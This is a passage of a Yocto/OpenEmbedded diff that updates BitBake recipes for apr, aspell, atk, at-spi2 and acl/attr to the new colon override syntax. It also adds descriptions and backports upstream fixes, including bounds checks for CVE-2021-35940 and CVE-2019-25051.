#files ${libdir}/apr-util-1/*.so are not symlinks but loadable modules thus they are packaged in ${PN}
-FILES_${PN} += "${libdir}/apr-util-1/apr*${SOLIBS} ${libdir}/apr-util-1/apr*${SOLIBSDEV}"
-FILES_${PN}-dev += "${libdir}/aprutil.exp ${libdir}/apr-util-1/*.la"
-FILES_${PN}-staticdev += "${libdir}/apr-util-1/*.a"
+FILES:${PN} += "${libdir}/apr-util-1/apr*${SOLIBS} ${libdir}/apr-util-1/apr*${SOLIBSDEV}"
+FILES:${PN}-dev += "${libdir}/aprutil.exp ${libdir}/apr-util-1/*.la"
+FILES:${PN}-staticdev += "${libdir}/apr-util-1/*.a"
-INSANE_SKIP_${PN} += "dev-so"
+INSANE_SKIP:${PN} += "dev-so"
inherit ptest
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-gconv-iso8859-1 glibc-gconv-iso8859-2 glibc-gconv-utf-7"
-RDEPENDS_${PN}-ptest += "libgcc"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-gconv-iso8859-1 glibc-gconv-iso8859-2 glibc-gconv-utf-7"
+RDEPENDS:${PN}-ptest += "libgcc"
do_compile_ptest() {
cd ${B}/test
diff --git a/meta/recipes-support/apr/apr/CVE-2021-35940.patch b/meta/recipes-support/apr/apr/CVE-2021-35940.patch
new file mode 100644
index 0000000000..00befdacee
--- /dev/null
+++ b/meta/recipes-support/apr/apr/CVE-2021-35940.patch
@@ -0,0 +1,58 @@
+
+SECURITY: CVE-2021-35940 (cve.mitre.org)
+
+Restore fix for CVE-2017-12613 which was missing in 1.7.x branch, though
+was addressed in 1.6.x in 1.6.3 and later via r1807976.
+
+The fix was merged back to 1.7.x in r1891198.
+
+Since this was a regression in 1.7.0, a new CVE name has been assigned
+to track this, CVE-2021-35940.
+
+Thanks to Iveta Cesalova <icesalov redhat.com> for reporting this issue.
+
+https://svn.apache.org/viewvc?view=revision&revision=1891198
+
+Upstream-Status: Backport
+CVE: CVE-2021-35940
+Signed-off-by: Armin Kuster <akuster@mvista.com>
+
+
+Index: time/unix/time.c
+===================================================================
+--- a/time/unix/time.c (revision 1891197)
++++ b/time/unix/time.c (revision 1891198)
+@@ -142,6 +142,9 @@
+ static const int dayoffset[12] =
+ {306, 337, 0, 31, 61, 92, 122, 153, 184, 214, 245, 275};
+
++ if (xt->tm_mon < 0 || xt->tm_mon >= 12)
++ return APR_EBADDATE;
++
+ /* shift new year to 1st March in order to make leap year calc easy */
+
+ if (xt->tm_mon < 2)
+Index: time/win32/time.c
+===================================================================
+--- a/time/win32/time.c (revision 1891197)
++++ b/time/win32/time.c (revision 1891198)
+@@ -54,6 +54,9 @@
+ static const int dayoffset[12] =
+ {0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334};
+
++ if (tm->wMonth < 1 || tm->wMonth > 12)
++ return APR_EBADDATE;
++
+ /* Note; the caller is responsible for filling in detailed tm_usec,
+ * tm_gmtoff and tm_isdst data when applicable.
+ */
+@@ -228,6 +231,9 @@
+ static const int dayoffset[12] =
+ {306, 337, 0, 31, 61, 92, 122, 153, 184, 214, 245, 275};
+
++ if (xt->tm_mon < 0 || xt->tm_mon >= 12)
++ return APR_EBADDATE;
++
+ /* shift new year to 1st March in order to make leap year calc easy */
+
+ if (xt->tm_mon < 2)
diff --git a/meta/recipes-support/apr/apr/autoconf270.patch b/meta/recipes-support/apr/apr/autoconf270.patch
new file mode 100644
index 0000000000..9f7b5c624c
--- /dev/null
+++ b/meta/recipes-support/apr/apr/autoconf270.patch
@@ -0,0 +1,22 @@
+With autoconf 2.70 confdefs.h is already included. Including it twice generates
+compiler warnings and since this macros is to error on warnings, it breaks.
+
+Fix by not including the file.
+
+Upstream-Status: Pending
+RP - 2021/1/28
+
+Index: apr-1.7.0/build/apr_common.m4
+===================================================================
+--- apr-1.7.0.orig/build/apr_common.m4
++++ apr-1.7.0/build/apr_common.m4
+@@ -505,8 +505,7 @@ AC_DEFUN([APR_TRY_COMPILE_NO_WARNING],
+ fi
+ AC_COMPILE_IFELSE(
+ [AC_LANG_SOURCE(
+- [#include "confdefs.h"
+- ]
++ []
+ [[$1]]
+ [int main(int argc, const char *const *argv) {]
+ [[$2]]
diff --git a/meta/recipes-support/apr/apr_1.7.0.bb b/meta/recipes-support/apr/apr_1.7.0.bb
index 7073af8c98..9c826d4380 100644
--- a/meta/recipes-support/apr/apr_1.7.0.bb
+++ b/meta/recipes-support/apr/apr_1.7.0.bb
@@ -1,4 +1,8 @@
SUMMARY = "Apache Portable Runtime (APR) library"
+
+DESCRIPTION = "Create and maintain software libraries that provide a predictable \
+and consistent interface to underlying platform-specific implementations."
+
HOMEPAGE = "http://apr.apache.org/"
SECTION = "libs"
DEPENDS = "util-linux"
@@ -19,6 +23,8 @@ SRC_URI = "${APACHE_MIRROR}/apr/${BPN}-${PV}.tar.bz2 \
file://0007-explicitly-link-libapr-against-phtread-to-make-gold-.patch \
file://libtoolize_check.patch \
file://0001-Add-option-to-disable-timed-dependant-tests.patch \
+ file://autoconf270.patch \
+ file://CVE-2021-35940.patch \
"
SRC_URI[md5sum] = "7a14a83d664e87599ea25ff4432e48a7"
@@ -42,7 +48,7 @@ PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
PACKAGECONFIG[timed-tests] = "--enable-timed-tests,--disable-timed-tests,"
-do_configure_prepend() {
+do_configure:prepend() {
# Avoid absolute paths for grep since it causes failures
# when using sstate between different hosts with different
# install paths for grep.
@@ -56,24 +62,26 @@ do_configure_prepend() {
MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/apr-1-config \
${PN}-dev:${datadir}/build-1/apr_rules.mk"
-FILES_${PN}-dev += "${libdir}/apr.exp ${datadir}/build-1/*"
-RDEPENDS_${PN}-dev += "bash"
+FILES:${PN}-dev += "${libdir}/apr.exp ${datadir}/build-1/*"
+RDEPENDS:${PN}-dev += "bash libtool"
-RDEPENDS_${PN}-ptest += "libgcc"
+RDEPENDS:${PN}-ptest += "libgcc"
#for some reason, build/libtool.m4 handled by buildconf still be overwritten
#when autoconf, so handle it again.
-do_configure_append() {
+do_configure:append() {
sed -i -e 's/LIBTOOL=\(.*\)top_build/LIBTOOL=\1apr_build/' ${S}/build/libtool.m4
sed -i -e 's/LIBTOOL=\(.*\)top_build/LIBTOOL=\1apr_build/' ${S}/build/apr_rules.mk
}
-do_install_append() {
+do_install:append() {
oe_multilib_header apr.h
install -d ${D}${datadir}/apr
}
-do_install_append_class-target() {
+do_install:append:class-target() {
+ rm -f ${D}${datadir}/build-1/libtool
+ sed -i s,LIBTOOL=.*,LIBTOOL=libtool,g ${D}${datadir}/build-1/apr_rules.mk
sed -i -e 's,${DEBUG_PREFIX_MAP},,g' \
-e 's,${STAGING_DIR_HOST},,g' ${D}${datadir}/build-1/apr_rules.mk
sed -i -e 's,${STAGING_DIR_HOST},,g' \
@@ -91,12 +99,12 @@ apr_sysroot_preprocess () {
cp ${S}/build/apr_rules.mk $d/
sed -i s,apr_builddir=.*,apr_builddir=,g $d/apr_rules.mk
sed -i s,apr_builders=.*,apr_builders=,g $d/apr_rules.mk
- sed -i s,LIBTOOL=.*,LIBTOOL=${HOST_SYS}-libtool,g $d/apr_rules.mk
+ sed -i s,LIBTOOL=.*,LIBTOOL=libtool,g $d/apr_rules.mk
sed -i s,\$\(apr_builders\),${STAGING_DATADIR}/apr/,g $d/apr_rules.mk
cp ${S}/build/mkdir.sh $d/
cp ${S}/build/make_exports.awk $d/
cp ${S}/build/make_var_export.awk $d/
- cp ${S}/${HOST_SYS}-libtool ${SYSROOT_DESTDIR}${datadir}/build-1/libtool
+ cp ${S}/libtool ${SYSROOT_DESTDIR}${datadir}/build-1/libtool
}
do_compile_ptest() {
diff --git a/meta/recipes-support/argp-standalone/argp-standalone_1.3.bb b/meta/recipes-support/argp-standalone/argp-standalone_1.3.bb
index 21bbcab3d3..317f71b772 100644
--- a/meta/recipes-support/argp-standalone/argp-standalone_1.3.bb
+++ b/meta/recipes-support/argp-standalone/argp-standalone_1.3.bb
@@ -2,6 +2,7 @@
# Released under the MIT license (see COPYING.MIT for the terms)
SUMMARY = "Glibc hierarchical argument parsing standalone library"
+DESCRIPTION = "Standalone version of arguments parsing functions from GLIBC"
HOMEPAGE = "http://www.lysator.liu.se/~nisse/misc/"
LICENSE = "LGPL-2.1"
LIC_FILES_CHKSUM = "file://argp.h;beginline=1;endline=20;md5=008b7e53dea6f9e1d9fdef0d9cf3184a"
@@ -19,8 +20,8 @@ inherit autotools
CFLAGS += "-fPIC -U__OPTIMIZE__"
-RDEPENDS_${PN}-dev = ""
-RDEPENDS_${PN}-staticdev = ""
+RDEPENDS:${PN}-dev = ""
+RDEPENDS:${PN}-staticdev = ""
do_install() {
install -D -m 0644 ${B}/libargp.a ${D}${libdir}/libargp.a
diff --git a/meta/recipes-support/aspell/aspell_0.60.8.bb b/meta/recipes-support/aspell/aspell_0.60.8.bb
index 629987810a..3c2b3d1666 100644
--- a/meta/recipes-support/aspell/aspell_0.60.8.bb
+++ b/meta/recipes-support/aspell/aspell_0.60.8.bb
@@ -1,10 +1,21 @@
SUMMARY = "GNU Aspell spell-checker"
+
+DESCRIPTION = "Spell checker designed to eventually replace Ispell. \
+It can either be used as a library or as an independent spell checker. \
+Its main feature is that it does a superior job of suggesting possible \
+replacements for a misspelled word than just about any other spell \
+checker out there for the English language."
+
SECTION = "console/utils"
+HOMEPAGE = "http://aspell.net/"
+
LICENSE = "LGPLv2 | LGPLv2.1"
LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
-SRC_URI = "${GNU_MIRROR}/aspell/aspell-${PV}.tar.gz"
+SRC_URI = "${GNU_MIRROR}/aspell/aspell-${PV}.tar.gz \
+ file://CVE-2019-25051.patch \
+"
SRC_URI[md5sum] = "012fa9209203ae4e5a61c2a668fd10e3"
SRC_URI[sha256sum] = "f9b77e515334a751b2e60daab5db23499e26c9209f5e7b7443b05235ad0226f2"
@@ -13,17 +24,17 @@ PACKAGECONFIG[curses] = "--enable-curses,--disable-curses,ncurses"
PACKAGES += "libaspell libpspell aspell-utils"
-RDEPENDS_${PN}-utils += "perl"
+RDEPENDS:${PN}-utils += "perl"
-FILES_libaspell = "${libdir}/libaspell.so.* ${libdir}/aspell*"
-FILES_aspell-utils = "${bindir}/word-list-compress ${bindir}/aspell-import ${bindir}/run-with-aspell ${bindir}/pre*"
-FILES_${PN} = "${bindir}/aspell"
-FILES_libpspell = "${libdir}/libpspell.so.*"
-FILES_${PN}-dev += "${bindir}/pspell-config"
+FILES:libaspell = "${libdir}/libaspell.so.* ${libdir}/aspell*"
+FILES:aspell-utils = "${bindir}/word-list-compress ${bindir}/aspell-import ${bindir}/run-with-aspell ${bindir}/pre*"
+FILES:${PN} = "${bindir}/aspell"
+FILES:libpspell = "${libdir}/libpspell.so.*"
+FILES:${PN}-dev += "${bindir}/pspell-config"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
inherit autotools-brokensep gettext texinfo binconfig-disabled
diff --git a/meta/recipes-support/aspell/files/CVE-2019-25051.patch b/meta/recipes-support/aspell/files/CVE-2019-25051.patch
new file mode 100644
index 0000000000..8513f6de79
--- /dev/null
+++ b/meta/recipes-support/aspell/files/CVE-2019-25051.patch
@@ -0,0 +1,101 @@
+From 0718b375425aad8e54e1150313b862e4c6fd324a Mon Sep 17 00:00:00 2001
+From: Kevin Atkinson <kevina@gnu.org>
+Date: Sat, 21 Dec 2019 20:32:47 +0000
+Subject: [PATCH] objstack: assert that the alloc size will fit within a chunk
+ to prevent a buffer overflow
+
+Bug found using OSS-Fuze.
+
+Upstream-Status: Backport
+[https://github.com/gnuaspell/aspell/commit/0718b375425aad8e54e1150313b862e4c6fd324a]
+CVE: CVE-2019-25051
+Signed-off-by: Chee Yang Lee <chee.yang.lee@intel.com>
+---
+ common/objstack.hpp | 18 ++++++++++++++----
+ 1 file changed, 14 insertions(+), 4 deletions(-)
+
+diff --git a/common/objstack.hpp b/common/objstack.hpp
+index 3997bf7..bd97ccd 100644
+--- a/common/objstack.hpp
++++ b/common/objstack.hpp
+@@ -5,6 +5,7 @@
+ #include "parm_string.hpp"
+ #include <stdlib.h>
+ #include <assert.h>
++#include <stddef.h>
+
+ namespace acommon {
+
+@@ -26,6 +27,12 @@ class ObjStack
+ byte * temp_end;
+ void setup_chunk();
+ void new_chunk();
++ bool will_overflow(size_t sz) const {
++ return offsetof(Node,data) + sz > chunk_size;
++ }
++ void check_size(size_t sz) {
++ assert(!will_overflow(sz));
++ }
+
+ ObjStack(const ObjStack &);
+ void operator=(const ObjStack &);
+@@ -56,7 +63,7 @@ class ObjStack
+ void * alloc_bottom(size_t size) {
+ byte * tmp = bottom;
+ bottom += size;
+- if (bottom > top) {new_chunk(); tmp = bottom; bottom += size;}
++ if (bottom > top) {check_size(size); new_chunk(); tmp = bottom; bottom += size;}
+ return tmp;
+ }
+ // This alloc_bottom will insure that the object is aligned based on the
+@@ -66,7 +73,7 @@ class ObjStack
+ align_bottom(align);
+ byte * tmp = bottom;
+ bottom += size;
+- if (bottom > top) {new_chunk(); goto loop;}
++ if (bottom > top) {check_size(size); new_chunk(); goto loop;}
+ return tmp;
+ }
+ char * dup_bottom(ParmString str) {
+@@ -79,7 +86,7 @@ class ObjStack
+ // always be aligned as such.
+ void * alloc_top(size_t size) {
+ top -= size;
+- if (top < bottom) {new_chunk(); top -= size;}
++ if (top < bottom) {check_size(size); new_chunk(); top -= size;}
+ return top;
+ }
+ // This alloc_top will insure that the object is aligned based on
+@@ -88,7 +95,7 @@ class ObjStack
+ {loop:
+ top -= size;
+ align_top(align);
+- if (top < bottom) {new_chunk(); goto loop;}
++ if (top < bottom) {check_size(size); new_chunk(); goto loop;}
+ return top;
+ }
+ char * dup_top(ParmString str) {
+@@ -117,6 +124,7 @@ class ObjStack
+ void * alloc_temp(size_t size) {
+ temp_end = bottom + size;
+ if (temp_end > top) {
++ check_size(size);
+ new_chunk();
+ temp_end = bottom + size;
+ }
+@@ -131,6 +139,7 @@ class ObjStack
+ } else {
+ size_t s = temp_end - bottom;
+ byte * p = bottom;
++ check_size(size);
+ new_chunk();
+ memcpy(bottom, p, s);
+ temp_end = bottom + size;
+@@ -150,6 +159,7 @@ class ObjStack
+ } else {
+ size_t s = temp_end - bottom;
+ byte * p = bottom;
++ check_size(size);
+ new_chunk();
+ memcpy(bottom, p, s);
+ temp_end = bottom + size;
diff --git a/meta/recipes-support/atk/at-spi2-atk_2.38.0.bb b/meta/recipes-support/atk/at-spi2-atk_2.38.0.bb
index fce14eecf3..f041584878 100644
--- a/meta/recipes-support/atk/at-spi2-atk_2.38.0.bb
+++ b/meta/recipes-support/atk/at-spi2-atk_2.38.0.bb
@@ -1,5 +1,7 @@
SUMMARY = "AT-SPI 2 Toolkit Bridge"
+DESCRIPTION = "Contains a library that bridges ATK to At-Spi2 D-Bus service. Toolkit widgets use it to provide their content to screen readers such as Orca."
HOMEPAGE = "https://wiki.linuxfoundation.org/accessibility/d-bus"
+BUGTRACKER = "http://bugzilla.gnome.org/"
LICENSE = "LGPL-2.1+"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
@@ -12,7 +14,7 @@ inherit gnomebase upstream-version-is-even
PACKAGES =+ "${PN}-gnome ${PN}-gtk2"
-FILES_${PN}-gnome = "${libdir}/gnome-settings-daemon-3.0/gtk-modules"
-FILES_${PN}-gtk2 = "${libdir}/gtk-2.0/modules/libatk-bridge.*"
+FILES:${PN}-gnome = "${libdir}/gnome-settings-daemon-3.0/gtk-modules"
+FILES:${PN}-gtk2 = "${libdir}/gtk-2.0/modules/libatk-bridge.*"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/atk/at-spi2-core/0001-Ensure-x11_dep-is-defined.patch b/meta/recipes-support/atk/at-spi2-core/0001-Ensure-x11_dep-is-defined.patch
new file mode 100644
index 0000000000..4a9bbbcbb1
--- /dev/null
+++ b/meta/recipes-support/atk/at-spi2-core/0001-Ensure-x11_dep-is-defined.patch
@@ -0,0 +1,33 @@
+From 9e726133319298a835f724904c80e5adf78f475f Mon Sep 17 00:00:00 2001
+From: Tim Orling <timothy.t.orling@intel.com>
+Date: Fri, 15 Oct 2021 18:00:04 +0000
+Subject: [PATCH] Ensure x11_dep is defined
+
+bus/meson.build checks if x11_dep.found(), but this fails when
+-Dx11=no
+
+Upstream-Status: Submitted
+[https://gitlab.gnome.org/GNOME/at-spi2-core/-/merge_requests/60]
+
+References:
+ https://gitlab.gnome.org/GNOME/at-spi2-core/-/issues/42
+ https://mesonbuild.com/howtox.html#get-a-default-notfound-dependency
+
+Signed-off-by: Tim Orling <timothy.t.orling@intel.com>
+---
+ meson.build | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/meson.build b/meson.build
+index b5104c8..85d7a0e 100644
+--- a/meson.build
++++ b/meson.build
+@@ -62,6 +62,8 @@ endif
+
+ x11_deps = []
+ x11_option = get_option('x11')
++# ensure x11_dep is defined for use in bus/meson.build
++x11_dep = dependency('', required: false)
+ if x11_option != 'no'
+ x11_dep = dependency('x11', required: false)
+
diff --git a/meta/recipes-support/atk/at-spi2-core_2.38.0.bb b/meta/recipes-support/atk/at-spi2-core_2.38.0.bb
deleted file mode 100644
index 88add83dd1..0000000000
--- a/meta/recipes-support/atk/at-spi2-core_2.38.0.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "Assistive Technology Service Provider Interface (dbus core)"
-HOMEPAGE = "https://wiki.linuxfoundation.org/accessibility/d-bus"
-LICENSE = "LGPL-2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz"
-
-SRC_URI[sha256sum] = "84e36c3fe66862133f5fe229772b76aa2526e10de5014a3778f2fa46ce550da5"
-
-X11DEPENDS = "virtual/libx11 libxi libxtst"
-
-DEPENDS = "dbus glib-2.0"
-DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '${X11DEPENDS}', '', d)}"
-
-inherit meson gtk-doc gettext systemd pkgconfig upstream-version-is-even gobject-introspection
-
-EXTRA_OEMESON = " -Dsystemd_user_dir=${systemd_user_unitdir} \
- -Ddbus_daemon=${bindir}/dbus-daemon \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', '-Dx11=yes', '-Dx11=no', d)} \
-"
-
-GTKDOC_MESON_OPTION = "docs"
-
-GIR_MESON_OPTION = 'introspection'
-GIR_MESON_ENABLE_FLAG = 'yes'
-GIR_MESON_DISABLE_FLAG = 'no'
-
-FILES_${PN} += "${datadir}/dbus-1/services/*.service \
- ${datadir}/dbus-1/accessibility-services/*.service \
- ${datadir}/defaults/at-spi2 \
- ${systemd_user_unitdir}/at-spi-dbus-bus.service \
- "
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/atk/at-spi2-core_2.42.0.bb b/meta/recipes-support/atk/at-spi2-core_2.42.0.bb
new file mode 100644
index 0000000000..e09c74ac7f
--- /dev/null
+++ b/meta/recipes-support/atk/at-spi2-core_2.42.0.bb
@@ -0,0 +1,41 @@
+SUMMARY = "Assistive Technology Service Provider Interface (dbus core)"
+
+DESCRIPTION = "It provides a Service Provider Interface for the Assistive Technologies available on the GNOME platform and a library against which applications can be linked."
+
+HOMEPAGE = "https://wiki.linuxfoundation.org/accessibility/d-bus"
+BUGTRACKER = "http://bugzilla.gnome.org/"
+LICENSE = "LGPL-2.1+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz \
+ file://0001-Ensure-x11_dep-is-defined.patch \
+ "
+
+SRC_URI[sha256sum] = "4b5da10e94fa3c6195f95222438f63a0234b99ef9df772c7640e82baeaa6e386"
+
+X11DEPENDS = "virtual/libx11 libxi libxtst"
+
+DEPENDS = "dbus glib-2.0"
+DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '${X11DEPENDS}', '', d)}"
+
+inherit meson gtk-doc gettext systemd pkgconfig upstream-version-is-even gobject-introspection
+
+EXTRA_OEMESON = " -Dsystemd_user_dir=${systemd_user_unitdir} \
+ -Ddbus_daemon=${bindir}/dbus-daemon \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11', '-Dx11=yes', '-Dx11=no', d)} \
+"
+
+GTKDOC_MESON_OPTION = "docs"
+
+GIR_MESON_OPTION = 'introspection'
+GIR_MESON_ENABLE_FLAG = 'yes'
+GIR_MESON_DISABLE_FLAG = 'no'
+
+FILES:${PN} += "${datadir}/dbus-1/services/*.service \
+ ${datadir}/dbus-1/accessibility-services/*.service \
+ ${datadir}/defaults/at-spi2 \
+ ${systemd_user_unitdir}/at-spi-dbus-bus.service \
+ "
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/atk/atk_2.36.0.bb b/meta/recipes-support/atk/atk_2.36.0.bb
index c45da3088b..ec289e7acc 100644
--- a/meta/recipes-support/atk/atk_2.36.0.bb
+++ b/meta/recipes-support/atk/atk_2.36.0.bb
@@ -1,4 +1,5 @@
SUMMARY = "Accessibility toolkit for GNOME"
+DESCRIPTION = "Provides application programming interfaces (APIs) for implementing accessibility support in software."
HOMEPAGE = "https://wiki.gnome.org/Accessibility"
BUGTRACKER = "https://gitlab.gnome.org/GNOME/atk/-/issues"
SECTION = "x11/libs"
diff --git a/meta/recipes-support/attr/acl_2.2.53.bb b/meta/recipes-support/attr/acl_2.2.53.bb
deleted file mode 100644
index 5bb50f77f7..0000000000
--- a/meta/recipes-support/attr/acl_2.2.53.bb
+++ /dev/null
@@ -1,74 +0,0 @@
-SUMMARY = "Utilities for managing POSIX Access Control Lists"
-HOMEPAGE = "http://savannah.nongnu.org/projects/acl/"
-SECTION = "libs"
-
-LICENSE = "LGPLv2.1+ & GPLv2+"
-LICENSE_${PN} = "GPLv2+"
-LICENSE_lib${BPN} = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://doc/COPYING;md5=c781d70ed2b4d48995b790403217a249 \
- file://doc/COPYING.LGPL;md5=9e9a206917f8af112da634ce3ab41764"
-
-DEPENDS = "attr"
-
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/acl/${BP}.tar.gz \
- file://run-ptest \
- file://0001-tests-do-not-hardcode-the-build-path-into-a-helper-l.patch \
- file://0001-test-patch-out-failing-bits.patch \
- "
-
-SRC_URI[md5sum] = "007aabf1dbb550bcddde52a244cd1070"
-SRC_URI[sha256sum] = "06be9865c6f418d851ff4494e12406568353b891ffe1f596b34693c387af26c7"
-
-inherit autotools gettext ptest
-
-PACKAGES =+ "lib${BPN}"
-
-FILES_lib${BPN} = "${libdir}/lib*${SOLIBS}"
-
-PTEST_BUILD_HOST_FILES = "builddefs"
-PTEST_BUILD_HOST_PATTERN = "^RPM"
-
-do_compile_ptest() {
- oe_runmake libtestlookup.la
-}
-
-do_install_ptest() {
- cp -rf ${S}/test/ ${D}${PTEST_PATH}
- cp -rf ${S}/build-aux/ ${D}${PTEST_PATH}
- mkdir -p ${D}${PTEST_PATH}/.libs
- cp -rf ${B}/.libs/libtestlookup* ${D}${PTEST_PATH}/.libs
- cp ${B}/Makefile ${D}${PTEST_PATH}
-
- sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- -i ${D}${PTEST_PATH}/Makefile
-
- sed -i "s|^srcdir =.*|srcdir = \.|g" ${D}${PTEST_PATH}/Makefile
- sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" ${D}${PTEST_PATH}/Makefile
- sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = \.\.|g" ${D}${PTEST_PATH}/Makefile
- sed -i "s|^Makefile:.*|Makefile:|g" ${D}${PTEST_PATH}/Makefile
-
- rm ${D}${PTEST_PATH}/.libs/libtestlookup.lai
-}
-
-RDEPENDS_${PN}-ptest = "acl \
- bash \
- coreutils \
- perl \
- perl-module-filehandle \
- perl-module-getopt-std \
- perl-module-posix \
- shadow \
- make \
- gawk \
- e2fsprogs-mke2fs \
- perl-module-cwd \
- perl-module-file-basename \
- perl-module-file-path \
- perl-module-file-spec \
- "
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/attr/acl_2.3.1.bb b/meta/recipes-support/attr/acl_2.3.1.bb
new file mode 100644
index 0000000000..c965ac553f
--- /dev/null
+++ b/meta/recipes-support/attr/acl_2.3.1.bb
@@ -0,0 +1,78 @@
+SUMMARY = "Utilities for managing POSIX Access Control Lists"
+DESCRIPTION = "ACL allows you to provide different levels of access to files \
+and folders for different users."
+
+HOMEPAGE = "http://savannah.nongnu.org/projects/acl/"
+BUGTRACKER = "http://savannah.nongnu.org/bugs/?group=acl"
+
+SECTION = "libs"
+
+LICENSE = "LGPLv2.1+ & GPLv2+"
+LICENSE:${PN} = "GPLv2+"
+LICENSE:lib${BPN} = "LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://doc/COPYING;md5=c781d70ed2b4d48995b790403217a249 \
+ file://doc/COPYING.LGPL;md5=9e9a206917f8af112da634ce3ab41764"
+
+DEPENDS = "attr"
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/acl/${BP}.tar.gz \
+ file://run-ptest \
+ file://0001-tests-do-not-hardcode-the-build-path-into-a-helper-l.patch \
+ file://0001-test-patch-out-failing-bits.patch \
+ "
+
+SRC_URI[sha256sum] = "760c61c68901b37fdd5eefeeaf4c0c7a26bdfdd8ac747a1edff1ce0e243c11af"
+
+inherit autotools gettext ptest
+
+PACKAGES =+ "lib${BPN}"
+
+FILES:lib${BPN} = "${libdir}/lib*${SOLIBS}"
+
+PTEST_BUILD_HOST_FILES = "builddefs"
+PTEST_BUILD_HOST_PATTERN = "^RPM"
+
+do_compile_ptest() {
+ oe_runmake libtestlookup.la
+}
+
+do_install_ptest() {
+ cp -rf ${S}/test/ ${D}${PTEST_PATH}
+ cp -rf ${S}/build-aux/ ${D}${PTEST_PATH}
+ mkdir -p ${D}${PTEST_PATH}/.libs
+ cp -rf ${B}/.libs/libtestlookup* ${D}${PTEST_PATH}/.libs
+ cp ${B}/Makefile ${D}${PTEST_PATH}
+
+ sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ -i ${D}${PTEST_PATH}/Makefile
+
+ sed -i "s|^srcdir =.*|srcdir = \.|g" ${D}${PTEST_PATH}/Makefile
+ sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" ${D}${PTEST_PATH}/Makefile
+ sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = \.\.|g" ${D}${PTEST_PATH}/Makefile
+ sed -i "s|^Makefile:.*|Makefile:|g" ${D}${PTEST_PATH}/Makefile
+
+ rm ${D}${PTEST_PATH}/.libs/libtestlookup.lai
+}
+
+RDEPENDS:${PN}-ptest = "acl \
+ bash \
+ coreutils \
+ perl \
+ perl-module-filehandle \
+ perl-module-getopt-std \
+ perl-module-posix \
+ shadow \
+ make \
+ gawk \
+ e2fsprogs-mke2fs \
+ perl-module-cwd \
+ perl-module-file-basename \
+ perl-module-file-path \
+ perl-module-file-spec \
+ "
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/attr/attr.inc b/meta/recipes-support/attr/attr.inc
index 0c3330a686..02645db748 100644
--- a/meta/recipes-support/attr/attr.inc
+++ b/meta/recipes-support/attr/attr.inc
@@ -1,12 +1,14 @@
SUMMARY = "Utilities for manipulating filesystem extended attributes"
+DESCRIPTION = "Implement the ability for a user to attach name:value pairs to objects within the XFS filesystem."
+
HOMEPAGE = "http://savannah.nongnu.org/projects/attr/"
SECTION = "libs"
DEPENDS = "virtual/libintl"
LICENSE = "LGPLv2.1+ & GPLv2+"
-LICENSE_${PN} = "GPLv2+"
-LICENSE_lib${BPN} = "LGPLv2.1+"
+LICENSE:${PN} = "GPLv2+"
+LICENSE:lib${BPN} = "LGPLv2.1+"
LIC_FILES_CHKSUM = "file://doc/COPYING;md5=2d0aa14b3fce4694e4f615e30186335f \
file://doc/COPYING.LGPL;md5=b8d31f339300bc239d73461d68e77b9c \
file://tools/attr.c;endline=17;md5=be0403261f0847e5f43ed5b08d19593c \
@@ -20,10 +22,10 @@ inherit ptest update-alternatives autotools gettext
PACKAGES =+ "lib${BPN}"
-FILES_lib${BPN} = "${libdir}/lib*${SOLIBS}"
+FILES:lib${BPN} = "${libdir}/lib*${SOLIBS}"
ALTERNATIVE_PRIORITY = "100"
